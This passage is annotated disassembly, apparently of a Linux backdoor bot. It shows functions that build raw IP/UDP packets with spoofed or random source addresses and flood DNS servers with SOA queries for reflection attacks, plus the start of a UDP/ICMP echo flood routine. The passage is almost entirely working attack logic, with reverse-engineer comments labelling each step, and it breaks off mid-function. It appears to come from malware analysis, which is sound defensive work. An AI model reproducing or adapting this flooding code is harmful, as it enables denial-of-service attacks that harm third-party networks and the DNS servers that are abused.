	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_send_backdoor_reply endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; Attributes: bp-based frame

; char *__cdecl	f_gethostname_addr_list(char *host)
f_gethostname_addr_list	proc near	; CODE XREF: f_send_backdoor_reply+A6p

host	  = dword ptr  8

	  push	ebp
	  mov	ebp, esp
	  mov	eax, [ebp+host]
	  push	eax			; char *
	  call	_gethostbyname
	  mov	ecx, eax
	  add	esp, 4
	  test	ecx, ecx
	  jz	short loc_804916C
	  mov	eax, [ecx+hostent.h_addr_list]
	  mov	edx, [eax]
	  mov	eax, [ecx+hostent.h_length]
	  push	eax			; size_t
	  push	edx			; source
	  push	offset destination	; destination
	  call	_memcpy
	  mov	eax, ds:destination
	  mov	esp, ebp
	  pop	ebp
	  retn
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_804916C:				; CODE XREF: f_gethostname_addr_list+13j
	  xor	eax, eax
	  mov	esp, ebp
	  pop	ebp
	  retn
f_gethostname_addr_list	endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; called by case 3,8
; Attributes: bp-based frame

; int __cdecl f_send_dns_SOA(char source_ip1,char source_ip2,char source_ip3,char source_ip4,int count,int source_port1,int source_port2,int use_hostname,char *hostname)
f_send_dns_SOA proc near		; CODE XREF: f_main+684p f_main+AEEp

var_680	  = byte ptr -680h
p_buf	  = dword ptr -674h
offset_strange_udp_payloads= dword ptr -670h
p_random_ips_dns= dword	ptr -66Ch
count2	  = dword ptr -668h
var_664	  = dword ptr -664h
p_udp_payload= dword ptr -660h
p_ip_payload= dword ptr	-65Ch
socket	  = dword ptr -658h
var_654	  = dword ptr -654h
tmp_source_ip= dword ptr -650h
tmp_checksum= word ptr -63Eh
gethostbyname_ip= byte ptr -63Ch
ip_paquet = ip_paquet ptr -638h
to	  = sockaddr_in	ptr -228h
tmp_strange_udp_payloads= dns_request_s	ptr -218h
size	  = dword ptr -24h
source_ip1= byte ptr  8
source_ip2= byte ptr  0Ch
source_ip3= byte ptr  10h
source_ip4= byte ptr  14h
count	  = dword ptr  18h
source_port1= dword ptr	 1Ch
source_port2= dword ptr	 20h
use_hostname= dword ptr	 24h
hostname  = dword ptr  28h

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 674h
	  push	edi
	  push	esi
	  push	ebx
	  mov	bl, [ebp+source_ip1]
	  mov	byte ptr [ebp+tmp_source_ip+0Ch], bl
	  mov	bl, [ebp+source_ip2]
	  mov	byte ptr [ebp+tmp_source_ip+8],	bl
	  mov	bl, [ebp+source_ip3]
	  mov	byte ptr [ebp+tmp_source_ip+4],	bl
	  mov	bl, [ebp+source_ip4]
	  mov	byte ptr [ebp+tmp_source_ip], bl
	  lea	edi, [ebp+size]
	  mov	esi, offset dwords_9	; array	of sizes
	  cld
	  mov	ecx, 9
	  repe movsd
	  mov	[ebp+var_654], 1
	  lea	edi, [ebp+tmp_strange_udp_payloads]
	  mov	esi, offset udp_dns_requests ; DNS requests: recursive answer to domains
					; SOA =	(Start Of Authority) request
	  cld
	  mov	ecx, 125
	  repe movsd
	  lea	esi, [ebp+ip_paquet]
	  lea	ebx, [ebp+ip_paquet.payload]
	  mov	[ebp+p_ip_payload], ebx
	  lea	ebx, [ebp+ip_paquet.payload.udp.payload]
	  mov	[ebp+p_udp_payload], ebx
	  mov	[ebp+to.sin_family], AF_INET
	  mov	[ebp+to.sin_port], 0
	  cmp	[ebp+count], 0
	  jz	short loc_804920A
	  dec	[ebp+count]

loc_804920A:				; CODE XREF: f_send_dns_SOA+91j
	  push	255			; protocol
	  push	SOCK_RAW		; type
	  push	AF_INET			; domain
	  call	_socket
	  mov	[ebp+socket], eax
	  add	esp, 0Ch
	  test	eax, eax
	  jle	end
	  mov	[ebp+var_664], 0
	  mov	[ebp+count2], 0
	  push	1024			; size_t
	  push	0			; int
	  push	esi			; void *
	  call	_memset
	  add	esp, 0Ch
	  lea	esi, [esi+0]

loop_infinite:				; CODE XREF: f_send_dns_SOA+140j
					; f_send_dns_SOA+3CDj
	  xor	edi, edi
	  cmp	[ebp+use_hostname], 0
	  jz	short loc_80492B2
	  cmp	[ebp+count2], 0
	  jg	short loc_80492B2
	  mov	ebx, [ebp+hostname]
	  push	ebx			; char *
	  call	_gethostbyname
	  mov	edx, eax
	  add	esp, 4
	  test	edx, edx
	  jnz	short gethostbyname_ok
	  push	600			; seconds
	  call	_sleep
	  mov	edi, 1
	  add	esp, 4
	  jmp	short loc_80492B2
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

gethostbyname_ok:			; CODE XREF: f_send_dns_SOA+FDj
	  push	4			; size_t
	  lea	eax, [ebp+gethostbyname_ip]
	  push	eax			; dst
	  mov	eax, [edx+hostent.h_addr_list]
	  mov	eax, [eax]
	  push	eax			; src
	  call	_bcopy
	  mov	eax, dword ptr [ebp+gethostbyname_ip]
	  mov	[esi+ip_paquet.source_ip], eax
	  mov	[ebp+count2], 40000
	  add	esp, 0Ch

loc_80492B2:				; CODE XREF: f_send_dns_SOA+E2j
					; f_send_dns_SOA+EBj ...
	  test	edi, edi
	  jnz	short loop_infinite
	  xor	edi, edi
	  mov	[ebp+offset_strange_udp_payloads], 0
	  lea	esi, [esi]

loop_conditional:			; CODE XREF: f_send_dns_SOA+3C7j
	  cmp	[ebp+var_654], 1
	  jnz	short loc_80492E8
	  mov	[ebp+var_654], 0
	  call	___random
	  mov	ebx, 8000
	  cdq
	  idiv	ebx
	  jmp	short loc_80492EA
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_80492E8:				; CODE XREF: f_send_dns_SOA+157j
	  xor	edx, edx

loc_80492EA:				; CODE XREF: f_send_dns_SOA+170j
	  cmp	dword ptr random_ips_dns.ip[edx*4], 0
	  jz	loc_8049530
	  lea	edx, random_ips_dns.ip[edx*4]
	  mov	[ebp+p_random_ips_dns],	edx
	  lea	esi, [esi+0]

loc_8049308:				; CODE XREF: f_send_dns_SOA+3B6j
	  mov	ebx, [ebp+p_random_ips_dns]
	  mov	eax, [ebx]
	  mov	[ebp+to.sin_addr], eax
	  mov	ebx, [ebp+offset_strange_udp_payloads]
	  lea	edx, [ebp+ebx+tmp_strange_udp_payloads]
	  mov	eax, [ebp+edi*4+size]
	  push	eax			; size_t
	  push	edx			; source
	  mov	ebx, [ebp+p_udp_payload]
	  push	ebx			; destination
	  call	_memcpy
	  add	esp, 0Ch
	  call	___random
	  mov	ebx, 255
	  cdq
	  idiv	ebx
	  mov	ebx, [ebp+p_udp_payload]
	  mov	byte ptr [ebx+dns_request_s.identification], dl
	  call	___random
	  mov	ebx, 255
	  cdq
	  idiv	ebx
	  mov	ebx, [ebp+p_udp_payload]
	  mov	[ebx+dns_request_s.identification+1], dl
	  cmp	[ebp+source_port1], 0
	  jnz	short build_source_port
	  cmp	[ebp+source_port2], 0
	  jnz	short build_source_port
	  call	___random
	  mov	ebx, 30000		; random source	port
	  cdq
	  idiv	ebx
	  mov	eax, edx
	  jmp	short loc_804938A
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

build_source_port:			; CODE XREF: f_send_dns_SOA+1F3j
					; f_send_dns_SOA+1F9j
	  mov	eax, [ebp+source_port1]
	  shl	eax, 8
	  add	ax, word ptr [ebp+source_port2]

loc_804938A:				; CODE XREF: f_send_dns_SOA+20Aj
	  xchg	al, ah
	  mov	ebx, [ebp+p_ip_payload]
	  mov	[ebx+udp_datagram_s.source_port], ax
	  mov	ebx, [ebp+p_ip_payload]
	  mov	[ebx+udp_datagram_s.destination_port], 13568 ; UDP port	= 53
	  mov	ax, word ptr [ebp+edi*4+size]
	  add	ax, 8
	  xchg	al, ah
	  mov	[ebx+udp_datagram_s.length], ax
	  mov	[ebx+udp_datagram_s.checksum], 0
	  cmp	[ebp+use_hostname], 0
	  jnz	short loc_80493EC
	  mov	bl, byte ptr [ebp+tmp_source_ip+0Ch]
	  mov	byte ptr [ebp+ip_paquet.source_ip], bl
	  mov	bl, byte ptr [ebp+tmp_source_ip+8]
	  mov	byte ptr [ebp+ip_paquet.source_ip+1], bl
	  mov	bl, byte ptr [ebp+tmp_source_ip+4]
	  mov	byte ptr [ebp+ip_paquet.source_ip+2], bl
	  mov	bl, byte ptr [ebp+tmp_source_ip]
	  mov	byte ptr [ebp+ip_paquet.source_ip+3], bl

loc_80493EC:				; CODE XREF: f_send_dns_SOA+246j
	  mov	ebx, [ebp+p_random_ips_dns]
	  mov	eax, [ebx]
	  mov	[esi+ip_paquet.destination_ip],	eax
	  mov	byte ptr [esi],	45h
	  call	___random
	  mov	ebx, 130
	  cdq
	  idiv	ebx
	  add	dl, 120
	  mov	[esi+ip_paquet.ttl], dl
	  call	___random
	  mov	ebx, 255
	  cdq
	  idiv	ebx
	  mov	[esi+ip_paquet.id], dx
	  mov	[esi+ip_paquet.protocol], IPPROTO_UDP
	  mov	[esi+ip_paquet.fragmentation], 0
	  mov	ax, word ptr [ebp+edi*4+size]
	  add	ax, 1Ch
	  xchg	al, ah
	  mov	[esi+ip_paquet.total_length], ax
	  mov	[esi+ip_paquet.checksum], 0
	  mov	edx, 14h
	  lea	ebx, [ebp+ip_paquet]
	  mov	[ebp+p_buf], ebx
	  xor	ecx, ecx
	  mov	[ebp+tmp_checksum], 0
	  lea	esi, [esi+0]

loc_804945C:				; CODE XREF: f_send_dns_SOA+302j
	  mov	ebx, [ebp+p_buf]
	  movzx	eax, word ptr [ebx]
	  add	ecx, eax
	  add	ebx, 2
	  mov	[ebp+p_buf], ebx
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_804945C
	  jnz	short loc_804948B
	  mov	al, [ebx]
	  mov	byte ptr [ebp+tmp_checksum], al
	  movzx	eax, [ebp+tmp_checksum]
	  add	ecx, eax

loc_804948B:				; CODE XREF: f_send_dns_SOA+304j
	  mov	edx, ecx
	  sar	edx, 10h
	  movzx	eax, cx
	  lea	ecx, [eax+edx]
	  mov	eax, ecx
	  sar	eax, 10h
	  add	ecx, eax
	  mov	eax, ecx
	  not	ax
	  mov	[ebp+tmp_checksum], ax
	  mov	[esi+ip_paquet.checksum], ax
	  push	16			; tolen
	  lea	eax, [ebp+to]
	  push	eax			; to
	  push	0			; flags
	  mov	eax, [ebp+edi*4+size]
	  add	eax, 28
	  push	eax			; len
	  lea	eax, [ebp+ip_paquet]
	  push	eax			; buf
	  mov	ebx, [ebp+socket]
	  push	ebx			; s
	  call	_sendto
	  add	esp, 18h
	  cmp	[ebp+count], 0
	  jnz	short loc_80494E8
	  push	300
	  call	_usleep
	  jmp	short loc_8049507
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

loc_80494E8:				; CODE XREF: f_send_dns_SOA+366j
	  mov	ebx, [ebp+count]
	  cmp	[ebp+var_664], ebx
	  jnz	short loc_8049514
	  push	300
	  call	_usleep
	  mov	[ebp+var_664], 0

loc_8049507:				; CODE XREF: f_send_dns_SOA+372j
	  dec	[ebp+count2]
	  add	esp, 4
	  jmp	short loc_804951A
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_8049514:				; CODE XREF: f_send_dns_SOA+37Dj
	  inc	[ebp+var_664]

loc_804951A:				; CODE XREF: f_send_dns_SOA+39Cj
	  add	[ebp+p_random_ips_dns],	4
	  mov	ebx, [ebp+p_random_ips_dns]
	  cmp	dword ptr [ebx], 0
	  jnz	loc_8049308

loc_8049530:				; CODE XREF: f_send_dns_SOA+17Ej
	  add	[ebp+offset_strange_udp_payloads], 50
	  inc	edi
	  cmp	edi, 8
	  jle	loop_conditional
	  jmp	loop_infinite
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

end:					; CODE XREF: f_send_dns_SOA+AFj
	  mov	ds:pid_current_task, 0	; PID of a forked task
	  xor	eax, eax
	  lea	esp, [ebp-680h]
	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_send_dns_SOA endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; called by case B
; Attributes: bp-based frame

; int __cdecl f_send_dns(char destination_ip1,char destination_ip2,char	destination_ip3,char destination_ip4,char source_ip1,char source_ip2,char source_ip3,char source_ip4,int count,int source_port1,int source_port2,int use_destination_hostname,char *hostname)
f_send_dns proc	near			; CODE XREF: f_main+D72p

var_698	  = byte ptr -698h
p_ip_paquet= dword ptr -68Ch
tmp_ebp	  = dword ptr -688h
var_684	  = dword ptr -684h
var_680	  = dword ptr -680h
p_tmp_dns_request= dword ptr -67Ch
p_ip_payload= dword ptr	-678h
socket	  = dword ptr -674h
tmp_source_ip4=	byte ptr -670h
tmp_source_ip3=	byte ptr -66Ch
tmp_source_ip2=	byte ptr -668h
tmp_source_ip1=	byte ptr -664h
tmp_destination_ip4= byte ptr -660h
tmp_destination_ip3= byte ptr -65Ch
tmp_destination_ip2= byte ptr -658h
tmp_destination_ip1= byte ptr -654h
tmp_checksum= word ptr -64Eh
dst	  = byte ptr -64Ch
tmp_destination_ip_str=	byte ptr -648h
ip_paquet = ip_paquet ptr -628h
to	  = sockaddr_in	ptr -228h
tmp_udp_dns_requests= dword ptr	-218h
tmp_dns_requests_sizes=	dword ptr -24h
destination_ip1= byte ptr  8
destination_ip2= byte ptr  0Ch
destination_ip3= byte ptr  10h
destination_ip4= byte ptr  14h
source_ip1= byte ptr  18h
source_ip2= byte ptr  1Ch
source_ip3= byte ptr  20h
source_ip4= byte ptr  24h
count	  = dword ptr  28h
source_port1= dword ptr	 2Ch
source_port2= dword ptr	 30h
use_destination_hostname= dword	ptr  34h
hostname  = dword ptr  38h

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 68Ch
	  push	edi
	  push	esi
	  push	ebx
	  mov	bl, [ebp+destination_ip1]
	  mov	[ebp+tmp_destination_ip1], bl
	  mov	bl, [ebp+destination_ip2]
	  mov	[ebp+tmp_destination_ip2], bl
	  mov	bl, [ebp+destination_ip3]
	  mov	[ebp+tmp_destination_ip3], bl
	  mov	bl, [ebp+destination_ip4]
	  mov	[ebp+tmp_destination_ip4], bl
	  mov	bl, [ebp+source_ip1]
	  mov	[ebp+tmp_source_ip1], bl
	  mov	bl, [ebp+source_ip2]
	  mov	[ebp+tmp_source_ip2], bl
	  mov	bl, [ebp+source_ip3]
	  mov	[ebp+tmp_source_ip3], bl
	  mov	bl, [ebp+source_ip4]
	  mov	[ebp+tmp_source_ip4], bl
	  lea	edi, [ebp+tmp_dns_requests_sizes]
	  mov	esi, offset dwords_9	; array	of sizes
	  cld
	  mov	ecx, 9
	  repe movsd
	  lea	edi, [ebp+tmp_udp_dns_requests]
	  mov	esi, offset udp_dns_requests ; DNS requests: recursive answer to domains
					; SOA =	(Start Of Authority) request
	  cld
	  mov	ecx, 125
	  repe movsd
	  lea	edi, [ebp+ip_paquet]
	  lea	ebx, [ebp+ip_paquet.payload]
	  mov	[ebp+p_ip_payload], ebx
	  lea	ebx, [ebp+ip_paquet.payload.udp.payload]
	  mov	[ebp+p_tmp_dns_request], ebx
	  mov	[ebp+to.sin_family], AF_INET
	  mov	[ebp+to.sin_port], 0
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_8049645
	  movzx	eax, [ebp+tmp_destination_ip4]
	  push	eax
	  movzx	eax, [ebp+tmp_destination_ip3]
	  push	eax
	  movzx	eax, [ebp+tmp_destination_ip2]
	  push	eax
	  movzx	eax, [ebp+tmp_destination_ip1]
	  push	eax
	  push	offset aD_D_D_D		; format
	  lea	eax, [ebp+tmp_destination_ip_str]
	  push	eax			; str
	  call	__IO_sprintf
	  add	esp, 18h

loc_8049645:				; CODE XREF: f_send_dns+ABj
	  cmp	[ebp+count], 0
	  jz	short loc_804964E
	  dec	[ebp+count]

loc_804964E:				; CODE XREF: f_send_dns+E5j
	  push	255			; protocol
	  push	SOCK_RAW		; type
	  push	AF_INET			; domain
	  call	_socket
	  mov	[ebp+socket], eax
	  add	esp, 0Ch
	  test	eax, eax
	  jle	end
	  mov	[ebp+var_680], 0
	  mov	[ebp+var_684], 0
	  push	1024			; size_t
	  push	0			; int
	  push	edi			; void *
	  call	_memset
	  add	esp, 0Ch
	  lea	esi, [esi+0]

loc_8049694:				; CODE XREF: f_send_dns+19Aj
					; f_send_dns+46Fj
	  xor	esi, esi
	  cmp	[ebp+use_destination_hostname],	0
	  jz	short loc_80496FC
	  cmp	[ebp+var_684], 0
	  jg	short loc_80496FC
	  mov	ebx, [ebp+hostname]
	  push	ebx			; char *
	  call	_gethostbyname
	  mov	edx, eax
	  add	esp, 4
	  test	edx, edx
	  jnz	short loc_80496CC
	  push	258h			; seconds
	  call	_sleep
	  mov	esi, 1
	  add	esp, 4
	  jmp	short loc_80496FC
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_80496CC:				; CODE XREF: f_send_dns+151j
	  push	4			; size_t
	  lea	eax, [ebp+dst]
	  push	eax			; dst
	  mov	eax, [edx+10h]
	  mov	eax, [eax]
	  push	eax			; src
	  call	_bcopy
	  mov	eax, dword ptr [ebp+dst]
	  mov	[edi+10h], eax
	  mov	[ebp+to.sin_addr], eax
	  mov	[ebp+var_684], 9C40h
	  add	esp, 0Ch

loc_80496FC:				; CODE XREF: f_send_dns+136j
					; f_send_dns+13Fj ...
	  test	esi, esi
	  jnz	short loc_8049694
	  xor	esi, esi
	  mov	[ebp+tmp_ebp], ebp

loc_8049708:				; CODE XREF: f_send_dns+469j
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_8049723
	  lea	eax, [ebp+tmp_destination_ip_str]
	  push	eax			; char *
	  call	_inet_addr
	  mov	[ebp+to.sin_addr], eax
	  add	esp, 4

loc_8049723:				; CODE XREF: f_send_dns+1A8j
	  mov	edx, [ebp+tmp_ebp]
	  add	edx, tmp_udp_dns_requests
	  mov	eax, [ebp+esi*4+tmp_dns_requests_sizes]
	  push	eax			; size_t
	  push	edx			; source
	  mov	ebx, [ebp+p_tmp_dns_request]
	  push	ebx			; destination
	  call	_memcpy
	  add	esp, 0Ch
	  call	___random
	  mov	ebx, 255
	  cdq
	  idiv	ebx
	  mov	ebx, [ebp+p_tmp_dns_request]
	  mov	byte ptr [ebx+dns_request_s.identification], dl
	  call	___random
	  mov	ebx, 255
	  cdq
	  idiv	ebx
	  mov	ebx, [ebp+p_tmp_dns_request]
	  mov	[ebx+dns_request_s.identification+1], dl
	  cmp	[ebp+source_port1], 0
	  jnz	short loc_804978C
	  cmp	[ebp+source_port2], 0
	  jnz	short loc_804978C
	  call	___random
	  mov	ebx, 30000
	  cdq
	  idiv	ebx
	  mov	eax, edx
	  jmp	short loc_8049796
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

loc_804978C:				; CODE XREF: f_send_dns+20Fj
					; f_send_dns+215j
	  mov	eax, [ebp+source_port1]
	  shl	eax, 8
	  add	ax, word ptr [ebp+source_port2]

loc_8049796:				; CODE XREF: f_send_dns+226j
	  xchg	al, ah
	  mov	ebx, [ebp+p_ip_payload]
	  mov	[ebx+ip_paquet_payload.udp.source_port], ax
	  mov	ebx, [ebp+p_ip_payload]
	  mov	[ebx+ip_paquet_payload.udp.destination_port], 13568 ; 53
	  mov	ax, word ptr [ebp+esi*4+tmp_dns_requests_sizes]
	  add	ax, 8
	  xchg	al, ah
	  mov	[ebx+udp_datagram_s.length], ax
	  mov	[ebx+udp_datagram_s.checksum], 0
	  cmp	[ebp+tmp_source_ip1], 0
	  jnz	short loc_804983C
	  cmp	[ebp+tmp_source_ip2], 0
	  jnz	short loc_804983C
	  cmp	[ebp+tmp_source_ip3], 0
	  jnz	short loc_804983C
	  cmp	[ebp+tmp_source_ip4], 0
	  jnz	short loc_804983C
	  call	___random
	  mov	dl, al
	  cmp	dl, 255
	  setnb	al
	  add	dl, al
	  mov	byte ptr [ebp+ip_paquet.source_ip], dl
	  call	___random
	  mov	dl, al
	  cmp	dl, 255
	  setnb	al
	  add	dl, al
	  mov	byte ptr [ebp+ip_paquet.source_ip+1], dl
	  call	___random
	  mov	dl, al
	  cmp	dl, 255
	  setnb	al
	  add	dl, al
	  mov	byte ptr [ebp+ip_paquet.source_ip+2], dl
	  call	___random
	  mov	dl, al
	  cmp	dl, 255
	  setnb	al
	  add	dl, al
	  mov	byte ptr [ebp+ip_paquet.source_ip+3], dl
	  jmp	short loc_804986C
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

loc_804983C:				; CODE XREF: f_send_dns+265j
					; f_send_dns+26Ej ...
	  mov	bl, [ebp+tmp_source_ip1]
	  mov	byte ptr [ebp+ip_paquet.source_ip], bl
	  mov	bl, [ebp+tmp_source_ip2]
	  mov	byte ptr [ebp+ip_paquet.source_ip+1], bl
	  mov	bl, [ebp+tmp_source_ip3]
	  mov	byte ptr [ebp+ip_paquet.source_ip+2], bl
	  mov	bl, [ebp+tmp_source_ip4]
	  mov	byte ptr [ebp+ip_paquet.source_ip+3], bl

loc_804986C:				; CODE XREF: f_send_dns+2D6j
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_80498A2
	  mov	bl, [ebp+tmp_destination_ip1]
	  mov	byte ptr [ebp+ip_paquet.destination_ip], bl
	  mov	bl, [ebp+tmp_destination_ip2]
	  mov	byte ptr [ebp+ip_paquet.destination_ip+1], bl
	  mov	bl, [ebp+tmp_destination_ip3]
	  mov	byte ptr [ebp+ip_paquet.destination_ip+2], bl
	  mov	bl, [ebp+tmp_destination_ip4]
	  mov	byte ptr [ebp+ip_paquet.destination_ip+3], bl

loc_80498A2:				; CODE XREF: f_send_dns+30Cj
	  mov	[edi+ip_paquet.version_length],	45h
	  call	___random
	  mov	ebx, 130
	  cdq
	  idiv	ebx
	  add	dl, 120
	  mov	[edi+ip_paquet.ttl], dl
	  call	___random
	  mov	ebx, 255
	  cdq
	  idiv	ebx
	  mov	[edi+ip_paquet.id], dx
	  mov	[edi+ip_paquet.protocol], IPPROTO_UDP
	  mov	[edi+ip_paquet.fragmentation], 0
	  mov	ax, word ptr [ebp+esi*4+tmp_dns_requests_sizes]
	  add	ax, 28
	  xchg	al, ah
	  mov	[edi+ip_paquet.total_length], ax
	  mov	[edi+ip_paquet.checksum], 0
	  mov	edx, 14h
	  lea	ebx, [ebp+ip_paquet]
	  mov	[ebp+p_ip_paquet], ebx
	  xor	ecx, ecx
	  mov	[ebp+tmp_checksum], 0

loc_8049904:				; CODE XREF: f_send_dns+3BAj
	  mov	ebx, [ebp+p_ip_paquet]
	  movzx	eax, word ptr [ebx]
	  add	ecx, eax
	  add	ebx, 2
	  mov	[ebp+p_ip_paquet], ebx
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_8049904
	  jnz	short loc_8049933
	  mov	al, [ebx]
	  mov	byte ptr [ebp+tmp_checksum], al
	  movzx	eax, [ebp+tmp_checksum]
	  add	ecx, eax

loc_8049933:				; CODE XREF: f_send_dns+3BCj
	  mov	edx, ecx
	  sar	edx, 10h
	  movzx	eax, cx
	  lea	ecx, [eax+edx]
	  mov	eax, ecx
	  sar	eax, 10h
	  add	ecx, eax
	  mov	eax, ecx
	  not	ax
	  mov	[ebp+tmp_checksum], ax
	  mov	[edi+ip_paquet.checksum], ax
	  push	10h			; tolen
	  lea	eax, [ebp+to]
	  push	eax			; to
	  push	0			; flags
	  mov	eax, [ebp+esi*4+tmp_dns_requests_sizes]
	  add	eax, 28
	  push	eax			; len
	  lea	eax, [ebp+ip_paquet]
	  push	eax			; buf
	  mov	ebx, [ebp+socket]
	  push	ebx			; s
	  call	_sendto
	  add	esp, 18h
	  cmp	[ebp+count], 0
	  jnz	short loc_8049990
	  push	300
	  call	_usleep
	  jmp	short loc_80499AF
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

loc_8049990:				; CODE XREF: f_send_dns+41Ej
	  mov	ebx, [ebp+count]
	  cmp	[ebp+var_680], ebx
	  jnz	short loc_80499BC
	  push	300
	  call	_usleep
	  mov	[ebp+var_680], 0

loc_80499AF:				; CODE XREF: f_send_dns+42Aj
	  dec	[ebp+var_684]
	  add	esp, 4
	  jmp	short loc_80499C2
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_80499BC:				; CODE XREF: f_send_dns+435j
	  inc	[ebp+var_680]

loc_80499C2:				; CODE XREF: f_send_dns+454j
	  add	[ebp+tmp_ebp], 50
	  inc	esi
	  cmp	esi, 8
	  jle	loc_8049708
	  jmp	loc_8049694
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

end:					; CODE XREF: f_send_dns+103j
	  mov	ds:pid_current_task, 0	; PID of a forked task
	  xor	eax, eax
	  lea	esp, [ebp-698h]
	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_send_dns endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; called by case 4
; Attributes: bp-based frame

; int __cdecl f_send_udp_or_icmp_echo(int use_udp,__int16 destination_port,char	destination_ip1,char destination_ip2,char destination_ip3,char destination_ip4,char source_ip1,char source_ip2,char source_ip3,char source_ip4,int use_destination_hostname,char *destination_hostname)
f_send_udp_or_icmp_echo	proc near	; CODE XREF: f_main+74Ep

var_AC	  = byte ptr -0ACh
p_to	  = dword ptr -0A0h
size	  = dword ptr -9Ch
socket	  = dword ptr -98h
tmp_source_ip3=	dword ptr -94h
tmp_source_ip2=	dword ptr -90h
tmp_source_ip1=	dword ptr -8Ch
tmp_destination_ip4= dword ptr -88h
tmp_destination_ip3= dword ptr -84h
tmp_destination_ip2= dword ptr -80h
tmp_destination_ip1= dword ptr -7Ch
tmp_hostname_ip= dword ptr -78h
tmp_checksum= word ptr -72h
tmp_source_ip_str= byte	ptr -70h
tmp_destination_ip_str=	byte ptr -50h
ip_paquet = ip_paquet ptr -30h
use_udp	  = dword ptr  8
destination_port= word ptr  0Ch
destination_ip1= byte ptr  10h
destination_ip2= byte ptr  14h
destination_ip3= byte ptr  18h
destination_ip4= byte ptr  1Ch
source_ip1= byte ptr  20h
source_ip2= byte ptr  24h
source_ip3= byte ptr  28h
source_ip4= byte ptr  2Ch
use_destination_hostname= dword	ptr  30h
destination_hostname= dword ptr	 34h

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 0A0h
	  push	edi
	  push	esi
	  push	ebx
	  mov	cl, [ebp+destination_ip1]
	  mov	byte ptr [ebp+tmp_destination_ip1], cl
	  mov	cl, [ebp+destination_ip2]
	  mov	byte ptr [ebp+tmp_destination_ip2], cl
	  mov	cl, [ebp+destination_ip3]
	  mov	byte ptr [ebp+tmp_destination_ip3], cl
	  mov	cl, [ebp+destination_ip4]
	  mov	byte ptr [ebp+tmp_destination_ip4], cl
	  mov	cl, [ebp+source_ip1]
	  mov	byte ptr [ebp+tmp_source_ip1], cl
	  mov	cl, [ebp+source_ip2]
	  mov	byte ptr [ebp+tmp_source_ip2], cl
	  mov	cl, [ebp+source_ip3]
	  mov	byte ptr [ebp+tmp_source_ip3], cl
